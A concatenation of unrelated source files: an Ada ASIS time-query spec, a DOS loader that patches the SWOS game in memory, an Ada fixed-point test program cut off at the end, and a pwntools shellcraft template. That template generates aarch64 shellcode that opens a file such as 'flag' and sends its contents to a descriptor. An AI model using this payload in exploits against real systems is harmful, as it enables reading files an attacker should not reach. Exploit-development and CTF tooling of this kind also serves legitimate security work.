PUBLIC VDP_DATA PUBLIC VDP_DATAIN PUBLIC VDP_CMD PUBLIC VDP_STATUS INCLUDE "msx/vdp.inc"
source/asis/asis-compilation_units-times.ads
faelys/gela-asis
4
3955
<reponame>faelys/gela-asis ------------------------------------------------------------------------------ -- G E L A A S I S -- -- ASIS implementation for Gela project, a portable Ada compiler -- -- http://gela.ada-ru.org -- -- - - - - - - - - - - - - - - - -- -- -- -- This specification is derived from the Ada Semantic Interface -- -- Specification Standard (ISO/IEC 15291) and ASIS 1999 Issues. -- -- -- -- The copyright notice and the license provisions that follow apply to the -- -- part following the private keyword. -- -- -- -- Read copyright and license at the end of this file -- ------------------------------------------------------------------------------ -- $Revision: 209 $ $Date: 2013-11-30 21:03:24 +0200 (Сб., 30 нояб. 2013) $ ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- -- 11 package Asis.Compilation_Units.Times ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- with Ada.Calendar; package Asis.Compilation_Units.Times is ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- -- Asis.Compilation_Units.Times encapsulates the time related functions used -- within ASIS. ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- -- 11.1 type Time ------------------------------------------------------------------------------- -- ASIS uses the predefined Ada.Calendar.Time. -- ASIS uses the predefined Standard.Duration. -- The constant Nil_ASIS_Time is defined to support time queries where a -- time is unavailable/unknown. ------------------------------------------------------------------------------- Nil_ASIS_Time : constant Ada.Calendar.Time := Ada.Calendar.Time_Of (Year => 1901, Month => 1, Day => 1, Seconds => 0.0); ------------------------------------------------------------------------------- -- 11.2 function Time_Of_Last_Update ------------------------------------------------------------------------------- function Time_Of_Last_Update (Compilation_Unit : in Asis.Compilation_Unit) return Ada.Calendar.Time; ------------------------------------------------------------------------------- -- Compilation_Unit - Specifies the unit to query -- -- Returns the time that this physical compilation unit was most recently -- updated in its implementor's Ada Environment. This will often be the -- time of its last compilation. The exact significance of the result is -- implementation specific. -- Returns Nil_ASIS_Time if the unit has a Nil or nonexistent unit kind, or if -- the time of last update is not available, or not meaningful, for any -- reason. -- -- All Unit Kinds are appropriate. -- ------------------------------------------------------------------------------- -- 11.3 function Compilation_CPU_Duration ------------------------------------------------------------------------------- function Compilation_CPU_Duration (Compilation_Unit : in Asis.Compilation_Unit) return Standard.Duration; ------------------------------------------------------------------------------- -- Compilation_Unit - Specifies the unit to query -- -- Returns the Central Processing Unit (CPU) duration used to compile the -- physical compilation unit associated with the Compilation_Unit argument. -- The exact significance, or accuracy, of the result is implementation -- specific. Returns a duration of 0.0 if the unit has a Nil or nonexistent -- unit kind, or if the CPU duration for the last compilation is not available -- for any reason. Returns a duration of 86_400.0 if the CPU duration for the -- last compilation is greater than 1 day. -- -- All Unit Kinds are appropriate. -- ------------------------------------------------------------------------------- -- 11.4 function Attribute_Time ------------------------------------------------------------------------------- function Attribute_Time (Compilation_Unit : in Asis.Compilation_Unit; Attribute : in Wide_String) return Ada.Calendar.Time; ------------------------------------------------------------------------------- -- Compilation_Unit - Specifies the unit to query -- Attribute - Specifies the name of the attribute to query -- -- Returns the Time value associated with the given attribute. Returns -- Nil_ASIS_Time if the argument is a Nil_Compilation_Unit, the unit does -- not have the given Attribute, or the implementation does not record times -- for attributes. -- -- All Unit Kinds are appropriate. -- -- Results of this query may vary across ASIS implementations. -- ------------------------------------------------------------------------------- end Asis.Compilation_Units.Times; ------------------------------------------------------------------------------ -- Copyright (c) 2006-2013, <NAME> -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions are met: -- -- * Redistributions of source code must retain the above copyright notice, -- this list of conditions and the following disclaimer. -- * Redistributions in binary form must reproduce the above copyright -- notice, this list of conditions and the following disclaimer in the -- documentation and/or other materials provided with the distribution. -- * Neither the name of the Maxim Reznik, IE nor the names of its -- contributors may be used to endorse or promote products derived from -- this software without specific prior written permission. -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE -- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- POSSIBILITY OF SUCH DAMAGE. ------------------------------------------------------------------------------
loader/loader.asm
zlatkok/swospp
12
178919
<filename>loader/loader.asm ; SWOSPP loader for version 1.0 ; ; started: 21.08.2003. v1.0 ; <NAME> ; ; pitchDatBuffer is our base %define BASE 0x5535e ; ZK Binary Format structure struc ZK_header .signature: resd 1 .ver_major: resw 1 .ver_minor: resw 1 .header_size: resd 1 .checksum: resd 1 .code_ofs: resd 1 .code_size: resd 1 .patch_ofs: resd 1 .patch_size: resd 1 .reloc_ofs: resd 1 .reloc_size: resd 1 .bss_size: resd 1 .entry_point: resd 1 endstruc %define ZK_SIG 'ZKBF' %define VERSION 1 org BASE bits 32 %include "misc.inc" ; in: ; eax - data base ; ebx - code base ; start: nop ; alignment nop jmp code_start ; ; data ; xalign 4, BASE, ' ' zkh: istruc ZK_header db "SWOS++ loader v1.0 by <NAME> " db "[DO NOT EDI" iend swos_data_base: dd 'T - ' swos_code_base: dd 'CONT' reloc_ptr: dd 'AINS' reloc_handle: dd ' COD' db 'E] ', 0 filename: db "swospp.bin", 0 cant_open_file: db "Can't open swospp.bin.", 13, 10, "$" file_corrupt: db "swospp.bin is corrupted.", 13, 10, "$" invalid_version: db "Can't load this version of binary format." db 13, 10, "$" out_of_memory: db "Out of memory error.", 13, 10, "$" io_error: db "I/O error.", 13, 10, "$" read_error: db "Error reading file.", 13, 10, "$" checksum_failed: db "File integrity violation.", 13, 10, "$" code_ptr: dd ' SWO' code_handle: dd 'S RU' patch_ptr: dd 'LEZ!' patch_handle: dd '!! ' ; ; start of code ; code_start: xalign 4, BASE mov [eax + swos_data_base], eax ; first store code and data base mov [eax + swos_code_base], ebx mov ebp, eax ; ebp will be used for data referencing lea edx, [ebp + filename] ; try to open main file mov ax, 0x3d00 int 0x21 jc near .error_opening mov ebx, eax ; move handle to ebx mov ah, 0x3f mov ecx, ZK_header_size lea edx, [ebp + zkh] int 0x21 ; try reading header jc near .file_corrupt cmp eax, ZK_header_size ; check for truncated file jnz near .file_corrupt lea esi, [ebp + zkh] cmp dword [esi + ZK_header.signature], ZK_SIG jnz near .file_corrupt ; check signature cmp word [esi + ZK_header.ver_major], VERSION ja near .invalid_version ; check major version cmp dword [esi + ZK_header.header_size], ZK_header_size jb near .invalid_version ; hdr size must never be smaller than ours ; load code mov eax, [esi + ZK_header.code_ofs] call SafeFseek ; seek to code offset mov eax, [esi + ZK_header.code_size] push eax push ebx add eax, [esi + ZK_header.bss_size] call SafeAlloc ; allocate memory for code & data + bss mov [ebp + code_ptr], eax mov [ebp + code_handle], ebx pop ebx mov edx, eax pop ecx call SafeFread ; read in code and data ; load patch data mov eax, [esi + ZK_header.patch_ofs] call SafeFseek ; seek to patch data offset mov eax, [esi + ZK_header.patch_size] push eax push ebx call SafeAlloc ; allocate memory for patch data mov [ebp + patch_ptr], eax mov [ebp + patch_handle], ebx pop ebx mov edx, eax pop ecx call SafeFread ; read in patch data ; load relocations mov eax, [esi + ZK_header.reloc_ofs] call SafeFseek ; seek to relocations offset mov eax, [esi + ZK_header.reloc_size] push eax push ebx call SafeAlloc ; allocate memory for relocations mov [ebp + reloc_ptr], eax mov [ebp + reloc_handle], ebx pop ebx mov edx, eax pop ecx call SafeFread ; read in relocations mov ah, 0x3e int 0x21 ; close the file ; calculate checksum of file xor eax, eax xor ebx, ebx mov edi, [ebp + code_ptr] mov ecx, [esi + ZK_header.code_size] call Checksum ; checksum code & data mov edi, [ebp + patch_ptr] mov ecx, [esi + ZK_header.patch_size] call Checksum ; checksum patch data mov edi, [ebp + reloc_ptr] mov ecx, [esi + ZK_header.reloc_size] call Checksum ; checksum relocations cmp eax, [esi + ZK_header.checksum] jnz near .checksum_failed ; compare with checksum in header ; fixup code, data and patch data ; (1) fixup code, adding SWOS code base value mov edi, [ebp + code_ptr] mov ebx, [ebp + reloc_ptr] mov edx, [ebp + swos_code_base] call Fixup ; (2) fixup code, adding SWOS data base value mov edx, [ebp + swos_data_base] call Fixup ; (3) fixup code, adding load address mov edx, [ebp + code_ptr] call Fixup ; (4) fixup patch data, adding SWOS code base value mov edi, [ebp + patch_ptr] mov edx, [ebp + swos_code_base] call Fixup ; (5) fixup patch data, adding SWOS data base value mov edx, [ebp + swos_data_base] call Fixup ; (6) fixup patch data, adding load address mov edx, [ebp + code_ptr] call Fixup ; relocations are not needed any more, free them mov eax, [ebp + reloc_handle] call Free ; patch SWOS in memory mov edi, [ebp + patch_ptr] ; edi -> patch data .do_patch_record: xor ecx, ecx mov cl, [edi] ; read count byte inc edi mov ebx, [edi] ; read address add edi, 4 cmp ebx, -1 ; address -1 terminates patching jz .patch_ended test cl, cl ; if count byte = 0, it is fill record jz .patch_fill .patch_byte: mov al, [edi] ; patch those bytes mov [ebx], al inc edi inc ebx dec ecx jnz .patch_byte jmp .do_patch_record .patch_fill: mov cl, [edi] ; repeat byte follows address inc edi mov al, [edi] ; then the fill byte inc edi .fill_byte: mov [ebx], al ; fill memory with data byte inc ebx dec ecx jnz .fill_byte jmp .do_patch_record .patch_ended: mov eax, [ebp + patch_handle] call Free ; free patch data mov ecx, [esi + ZK_header.bss_size] mov edi, [ebp + code_ptr] add edi, [esi + ZK_header.code_size] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd ; zero fill bss section and edx, 3 mov ecx, edx rep stosb mov eax, [ebp + code_ptr] mov ebx, eax ; ebx = load address add eax, [esi + ZK_header.entry_point] ; eax -> init routine mov ecx, [esi + ZK_header.code_size] add ecx, [esi + ZK_header.bss_size] ; ecx = code + data + bss size mov edx, [ebp + code_handle] ; edx = code block memory handle call eax ; call init routine, ebp -> SWOS data cld ; guarantee cleared direction flag at start retn ; return to SWOS .file_corrupt: lea edx, [ebp + file_corrupt] jmp short .close_file .invalid_version: lea edx, [ebp + invalid_version] jmp short .close_file .error_opening: lea edx, [ebp + cant_open_file] jmp short AbortWithMessage .checksum_failed: lea edx, [ebp + checksum_failed] mov eax, [ebp + reloc_handle] call Free mov eax, [ebp + patch_handle] call Free mov eax, [ebp + code_handle] call Free .close_file: mov ah, 0x3e int 0x21 ; close the file jmp short AbortWithMessage ; ---- ; Checksum ; ; in: ; eax - checksum so far ; ebx - index so far ; edi -> memory block to checksum ; ecx - length of memory block ; ; out: ; eax - new checksum ; ebx - new index ; Checksum: push edx @@ movzx edx, byte [edi] inc edi add edx, ebx inc ebx add eax, edx rol eax, 1 xor eax, edx dec ecx jnz @B pop edx retn ; Fixup ; ; in: ; ebx -> relocations section (current offset) ; edi -> memory block to fix ; edx - value to add ; Fixup: push eax push ecx .fix_loop: mov eax, [ebx] ; get reloc offset add ebx, 4 cmp eax, byte -1 ; -1 marks end of section jz .out add [edi + eax], edx ; fixup location jmp .fix_loop .out: pop ecx pop eax retn ; various interface and helper routines %include "util.asm"
pwnlib/shellcraft/templates/aarch64/linux/cat.asm
IMULMUL/python3-pwntools
325
28885
<% from pwnlib.shellcraft.aarch64 import syscall, pushstr from pwnlib.shellcraft import common %> <%page args="filename, fd=1"/> <%docstring> Opens a file and writes its contents to the specified file descriptor. Example: >>> write('flag', 'This is the flag\n') >>> run_assembly(shellcraft.cat('flag')).recvline() 'This is the flag\n' </%docstring> ${pushstr(filename)} ${syscall('SYS_open', 'sp', 0, 'O_RDONLY')} ${syscall('SYS_sendfile', fd, 'x0', 0, 0x7fffffff)}
test/src/fixed_types_test.adb
gusthoff/fixed_types
0
2183
------------------------------------------------------------------------------- -- -- FIXED TYPES -- -- Test application -- -- The MIT License (MIT) -- -- Copyright (c) 2015 <NAME> -- -- Permission is hereby granted, free of charge, to any person obtaining a copy -- of this software and associated documentation files (the "Software"), to -- deal in the Software without restriction, including without limitation the -- rights to use, copy, modify, merge, publish, distribute, sublicense, and / -- or sell copies of the Software, and to permit persons to whom the Software -- is furnished to do so, subject to the following conditions: -- -- The above copyright notice and this permission notice shall be included in -- all copies or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS -- IN THE SOFTWARE. ------------------------------------------------------------------------------- with Ada.Text_IO; use Ada.Text_IO; with Fixed_Types.Long; use Fixed_Types.Long; with Fixed_Types.Short; use Fixed_Types.Short; with Ada.Exceptions; procedure Fixed_Types_Test is procedure Fixed_Test_Long; procedure Fixed_Test_Sat_Long; procedure Fixed_Test_Short; procedure Fixed_Test_Sat_Short; procedure Fixed_Test_Long is package MIO is new Ada.Text_IO.Modular_IO (Modular_Long); package FIO is new Ada.Text_IO.Fixed_IO (Fixed_Long); package IIO is new Ada.Text_IO.Integer_IO (Integer); FL1 : Fixed_Long; FL2 : Fixed_Long; Res : Fixed_Long; procedure Print_Operation (A, B, Res : Fixed_Long; Unary_Op : Boolean; Op : String); procedure Print_Operation (A : Fixed_Long; B : Integer; Res : Fixed_Long; Unary_Op : Boolean; Op : String); procedure Print_Operation (A, B, Res : Fixed_Long; Unary_Op : Boolean; Op : String) is begin if Unary_Op then Put (" "); else FIO.Put (Item => A, Fore => 3, Aft => 3, Exp => 0); end if; Put (" " & Op & " "); FIO.Put (Item => B, Fore => 3, Aft => 3, Exp => 0); Put (" = "); FIO.Put (Item => Res, Fore => 3, Aft => 3, Exp => 0); Put (" ("); if Unary_Op then Put (" "); else MIO.Put (Item => Fixed_Long_To_Mod_Long (A), Width => 12, Base => 16); end if; Put (" " & Op & " "); MIO.Put (Item => Fixed_Long_To_Mod_Long (B), Width => 12, Base => 16); Put (" = "); MIO.Put (Item => Fixed_Long_To_Mod_Long (Res), Width => 12, Base => 16); Put (")"); New_Line; end Print_Operation; procedure Print_Operation (A : Fixed_Long; B : Integer; Res : Fixed_Long; Unary_Op : Boolean; Op : String) is begin if Unary_Op then Put (" "); else FIO.Put (Item => A, Fore => 3, Aft => 3, Exp => 0); end if; Put (" " & Op & " "); IIO.Put (Item => B, Width => 7); Put (" = "); FIO.Put (Item => Res, Fore => 3, Aft => 3, Exp => 0); Put (" ("); if Unary_Op then Put (" "); else MIO.Put (Item => Fixed_Long_To_Mod_Long (A), Width => 12, Base => 16); end if; Put (" " & Op & " "); IIO.Put (Item => B, Width => 12); Put (" = "); MIO.Put (Item => Fixed_Long_To_Mod_Long (Res), Width => 12, Base => 16); Put (")"); New_Line; end Print_Operation; begin Put_Line ("TEST: Fixed_Test_Long"); FL1 := 0.5 / 2**3; FL2 := 0.5 / 2**3; for I in 0 .. 3 loop begin Res := FL1 + FL2; Print_Operation (FL1, FL2, Res, False, " + "); FL1 := FL1 * 2; FL2 := FL2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FL1 := 0.25 / 2**3; FL2 := 0.5 / 2**3; for I in 0 .. 4 loop begin Res := FL1 - FL2; Print_Operation (FL1, FL2, Res, False, " - "); FL1 := FL1 * 2; FL2 := FL2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FL1 := -0.5 / 2**3; FL2 := 0.25 / 2**3; for I in 0 .. 4 loop begin Res := FL1 - FL2; Print_Operation (FL1, FL2, Res, False, " - "); FL1 := FL1 * 2; FL2 := FL2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FL1 := 0.0; FL2 := 0.25 / 2**3; for I in 0 .. 4 loop begin Res := -FL2; Print_Operation (FL1, FL2, Res, True, " - "); FL2 := FL2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FL1 := 0.0; FL2 := -0.25 / 2**3; for I in 0 .. 4 loop begin Res := abs FL2; Print_Operation (FL1, FL2, Res, True, "abs"); FL1 := FL1 * 2; FL2 := FL2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FL1 := -0.5 / 2**3; FL2 := -0.5 / 2**3; for I in 0 .. 4 loop begin Res := FL1 * FL2; Print_Operation (FL1, FL2, Res, False, " * "); FL1 := FL1 * 2; FL2 := FL2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FL1 := 0.5 / 2**3; FL2 := 0.5 / 2**3; for I in 0 .. 3 loop begin Res := FL1 * FL2; Print_Operation (FL1, FL2, Res, False, " * "); FL1 := FL1 * 2; FL2 := FL2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FL1 := Fixed_Long'Last; FL2 := Fixed_Long'Last; Res := FL1 * FL2; Print_Operation (FL1, FL2, Res, False, " * "); declare I1 : Integer := 1; begin FL1 := 0.25; for I in 1 .. 5 loop begin Res := FL1 * I1; Print_Operation (FL1, I1, Res, False, " * "); I1 := I1 + 1; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; end; declare I1 : Integer := -1; begin FL1 := 0.25; for I in 1 .. 5 loop begin Res := FL1 * I1; Print_Operation (FL1, I1, Res, False, " * "); I1 := I1 - 1; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; end; FL1 := 0.25 / 2**3; FL2 := 0.5 / 2**3; for I in 0 .. 3 loop begin Res := FL1 / FL2; Print_Operation (FL1, FL2, Res, False, " / "); FL1 := FL1 * 2; FL2 := FL2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FL1 := -0.25 / 2**3; FL2 := 0.5 / 2**3; for I in 0 .. 3 loop begin Res := FL1 / FL2; Print_Operation (FL1, FL2, Res, False, " / "); FL1 := FL1 * 2; FL2 := FL2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; Put_Line ("--------------------------------------------------------"); end Fixed_Test_Long; procedure Fixed_Test_Sat_Long is package MIO is new Ada.Text_IO.Modular_IO (Modular_Long); package FIO is new Ada.Text_IO.Fixed_IO (Fixed_Sat_Long); package IIO is new Ada.Text_IO.Integer_IO (Integer); SFL1 : Fixed_Sat_Long; SFL2 : Fixed_Sat_Long; SRes : Fixed_Sat_Long; procedure Print_Operation (A, B, Res : Fixed_Sat_Long; Unary_Op : Boolean; Op : String); procedure Print_Operation (A : Fixed_Sat_Long; B : Integer; Res : Fixed_Sat_Long; Unary_Op : Boolean; Op : String); procedure Print_Operation (A, B, Res : Fixed_Sat_Long; Unary_Op : Boolean; Op : String) is begin if Unary_Op then Put (" "); else FIO.Put (Item => A, Fore => 3, Aft => 3, Exp => 0); end if; Put (" " & Op & " "); FIO.Put (Item => B, Fore => 3, Aft => 3, Exp => 0); Put (" = "); FIO.Put (Item => Res, Fore => 3, Aft => 3, Exp => 0); Put (" ("); if Unary_Op then Put (" "); else MIO.Put (Item => Fixed_Sat_Long_To_Mod_Long (A), Width => 12, Base => 16); end if; Put (" " & Op & " "); MIO.Put (Item => Fixed_Sat_Long_To_Mod_Long (B), Width => 12, Base => 16); Put (" = "); MIO.Put (Item => Fixed_Sat_Long_To_Mod_Long (Res), Width => 12, Base => 16); Put (")"); New_Line; end Print_Operation; procedure Print_Operation (A : Fixed_Sat_Long; B : Integer; Res : Fixed_Sat_Long; Unary_Op : Boolean; Op : String) is begin if Unary_Op then Put (" "); else FIO.Put (Item => A, Fore => 3, Aft => 3, Exp => 0); end if; Put (" " & Op & " "); IIO.Put (Item => B, Width => 7); Put (" = "); FIO.Put (Item => Res, Fore => 3, Aft => 3, Exp => 0); Put (" ("); if Unary_Op then Put (" "); else MIO.Put (Item => Fixed_Sat_Long_To_Mod_Long (A), Width => 12, Base => 16); end if; Put (" " & Op & " "); IIO.Put (Item => B, Width => 12); Put (" = "); MIO.Put (Item => Fixed_Sat_Long_To_Mod_Long (Res), Width => 12, Base => 16); Put (")"); New_Line; end Print_Operation; begin Put_Line ("TEST: Fixed_Test_Sat_Long"); SFL1 := 0.5 / 2**3; SFL2 := 0.5 / 2**3; for I in 0 .. 3 loop SRes := SFL1 + SFL2; Print_Operation (SFL1, SFL2, SRes, False, " + "); SFL1 := SFL1 * 2; SFL2 := SFL2 * 2; end loop; SFL1 := 0.25 / 2**3; SFL2 := 0.5 / 2**3; for I in 0 .. 4 loop SRes := SFL1 - SFL2; Print_Operation (SFL1, SFL2, SRes, False, " - "); SFL1 := SFL1 * 2; SFL2 := SFL2 * 2; end loop; SFL1 := -0.5 / 2**3; SFL2 := 0.25 / 2**3; for I in 0 .. 4 loop SRes := SFL1 - SFL2; Print_Operation (SFL1, SFL2, SRes, False, " - "); SFL1 := SFL1 * 2; SFL2 := SFL2 * 2; end loop; SFL1 := 0.0; SFL2 := 0.25 / 2**3; for I in 0 .. 4 loop SRes := -SFL2; Print_Operation (SFL1, SFL2, SRes, True, " - "); SFL2 := SFL2 * 2; end loop; SFL1 := 0.0; SFL2 := -0.25 / 2**3; for I in 0 .. 4 loop SRes := abs SFL2; Print_Operation (SFL1, SFL2, SRes, True, "abs"); SFL2 := SFL2 * 2; end loop; SFL1 := -0.5 / 2**3; SFL2 := -0.5 / 2**3; for I in 0 .. 4 loop SRes := SFL1 * SFL2; Print_Operation (SFL1, SFL2, SRes, False, " * "); SFL1 := SFL1 * 2; SFL2 := SFL2 * 2; end loop; SFL1 := 0.5 / 2**3; SFL2 := 0.5 / 2**3; for I in 0 .. 3 loop SRes := SFL1 * SFL2; Print_Operation (SFL1, SFL2, SRes, False, " * "); SFL1 := SFL1 * 2; SFL2 := SFL2 * 2; end loop; SFL1 := Fixed_Sat_Long'Last; SFL2 := Fixed_Sat_Long'Last; SRes := SFL1 * SFL2; Print_Operation (SFL1, SFL2, SRes, False, " * "); declare I1 : Integer := 1; begin SFL1 := 0.25; for I in 1 .. 5 loop SRes := SFL1 * I1; Print_Operation (SFL1, I1, SRes, False, " * "); I1 := I1 + 1; end loop; end; declare I1 : Integer := -1; begin SFL1 := 0.25; for I in 1 .. 5 loop SRes := SFL1 * I1; Print_Operation (SFL1, I1, SRes, False, " * "); I1 := I1 - 1; end loop; end; SFL1 := 0.25 / 2**3; SFL2 := 0.5 / 2**3; for I in 0 .. 3 loop SRes := SFL1 / SFL2; Print_Operation (SFL1, SFL2, SRes, False, " / "); SFL1 := SFL1 * 2; SFL2 := SFL2 * 2; end loop; SFL1 := -0.25 / 2**3; SFL2 := 0.5 / 2**3; for I in 0 .. 3 loop SRes := SFL1 / SFL2; Print_Operation (SFL1, SFL2, SRes, False, " / "); SFL1 := SFL1 * 2; SFL2 := SFL2 * 2; end loop; Put_Line ("--------------------------------------------------------"); end Fixed_Test_Sat_Long; procedure Fixed_Test_Short is package MIO is new Ada.Text_IO.Modular_IO (Modular_Short); package FIO is new Ada.Text_IO.Fixed_IO (Fixed_Short); package IIO is new Ada.Text_IO.Integer_IO (Integer); FS1 : Fixed_Short; FS2 : Fixed_Short; Res : Fixed_Short; procedure Print_Operation (A, B, Res : Fixed_Short; Unary_Op : Boolean; Op : String); procedure Print_Operation (A : Fixed_Short; B : Integer; Res : Fixed_Short; Unary_Op : Boolean; Op : String); procedure Print_Operation (A, B, Res : Fixed_Short; Unary_Op : Boolean; Op : String) is begin if Unary_Op then Put (" "); else FIO.Put (Item => A, Fore => 3, Aft => 3, Exp => 0); end if; Put (" " & Op & " "); FIO.Put (Item => B, Fore => 3, Aft => 3, Exp => 0); Put (" = "); FIO.Put (Item => Res, Fore => 3, Aft => 3, Exp => 0); Put (" ("); if Unary_Op then Put (" "); else MIO.Put (Item => Fixed_Short_To_Mod_Short (A), Width => 12, Base => 16); end if; Put (" " & Op & " "); MIO.Put (Item => Fixed_Short_To_Mod_Short (B), Width => 12, Base => 16); Put (" = "); MIO.Put (Item => Fixed_Short_To_Mod_Short (Res), Width => 12, Base => 16); Put (")"); New_Line; end Print_Operation; procedure Print_Operation (A : Fixed_Short; B : Integer; Res : Fixed_Short; Unary_Op : Boolean; Op : String) is begin if Unary_Op then Put (" "); else FIO.Put (Item => A, Fore => 3, Aft => 3, Exp => 0); end if; Put (" " & Op & " "); IIO.Put (Item => B, Width => 7); Put (" = "); FIO.Put (Item => Res, Fore => 3, Aft => 3, Exp => 0); Put (" ("); if Unary_Op then Put (" "); else MIO.Put (Item => Fixed_Short_To_Mod_Short (A), Width => 12, Base => 16); end if; Put (" " & Op & " "); IIO.Put (Item => B, Width => 12); Put (" = "); MIO.Put (Item => Fixed_Short_To_Mod_Short (Res), Width => 12, Base => 16); Put (")"); New_Line; end Print_Operation; begin Put_Line ("TEST: Fixed_Test_Short"); FS1 := 0.5 / 2**3; FS2 := 0.5 / 2**3; for I in 0 .. 3 loop begin Res := FS1 + FS2; Print_Operation (FS1, FS2, Res, False, " + "); FS1 := FS1 * 2; FS2 := FS2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FS1 := 0.25 / 2**3; FS2 := 0.5 / 2**3; for I in 0 .. 4 loop begin Res := FS1 - FS2; Print_Operation (FS1, FS2, Res, False, " - "); FS1 := FS1 * 2; FS2 := FS2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FS1 := -0.5 / 2**3; FS2 := 0.25 / 2**3; for I in 0 .. 4 loop begin Res := FS1 - FS2; Print_Operation (FS1, FS2, Res, False, " - "); FS1 := FS1 * 2; FS2 := FS2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FS1 := 0.0; FS2 := 0.25 / 2**3; for I in 0 .. 4 loop begin Res := -FS2; Print_Operation (FS1, FS2, Res, True, " - "); FS2 := FS2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FS1 := 0.0; FS2 := -0.25 / 2**3; for I in 0 .. 4 loop begin Res := abs FS2; Print_Operation (FS1, FS2, Res, True, "abs"); FS1 := FS1 * 2; FS2 := FS2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FS1 := -0.5 / 2**3; FS2 := -0.5 / 2**3; for I in 0 .. 4 loop begin Res := FS1 * FS2; Print_Operation (FS1, FS2, Res, False, " * "); FS1 := FS1 * 2; FS2 := FS2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FS1 := 0.5 / 2**3; FS2 := 0.5 / 2**3; for I in 0 .. 3 loop begin Res := FS1 * FS2; Print_Operation (FS1, FS2, Res, False, " * "); FS1 := FS1 * 2; FS2 := FS2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FS1 := Fixed_Short'Last; FS2 := Fixed_Short'Last; Res := FS1 * FS2; Print_Operation (FS1, FS2, Res, False, " * "); declare I1 : Integer := 1; begin FS1 := 0.25; for I in 1 .. 5 loop begin Res := FS1 * I1; Print_Operation (FS1, I1, Res, False, " * "); I1 := I1 + 1; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; end; declare I1 : Integer := -1; begin FS1 := 0.25; for I in 1 .. 5 loop begin Res := FS1 * I1; Print_Operation (FS1, I1, Res, False, " * "); I1 := I1 - 1; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; end; FS1 := 0.25 / 2**3; FS2 := 0.5 / 2**3; for I in 0 .. 3 loop begin Res := FS1 / FS2; Print_Operation (FS1, FS2, Res, False, " / "); FS1 := FS1 * 2; FS2 := FS2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; FS1 := -0.25 / 2**3; FS2 := 0.5 / 2**3; for I in 0 .. 3 loop begin Res := FS1 / FS2; Print_Operation (FS1, FS2, Res, False, " / "); FS1 := FS1 * 2; FS2 := FS2 * 2; exception when E : others => Put_Line ("-- Exception triggered --"); Put (Ada.Exceptions.Exception_Information (E)); end; end loop; Put_Line ("--------------------------------------------------------"); end Fixed_Test_Short; procedure Fixed_Test_Sat_Short is package MIO is new 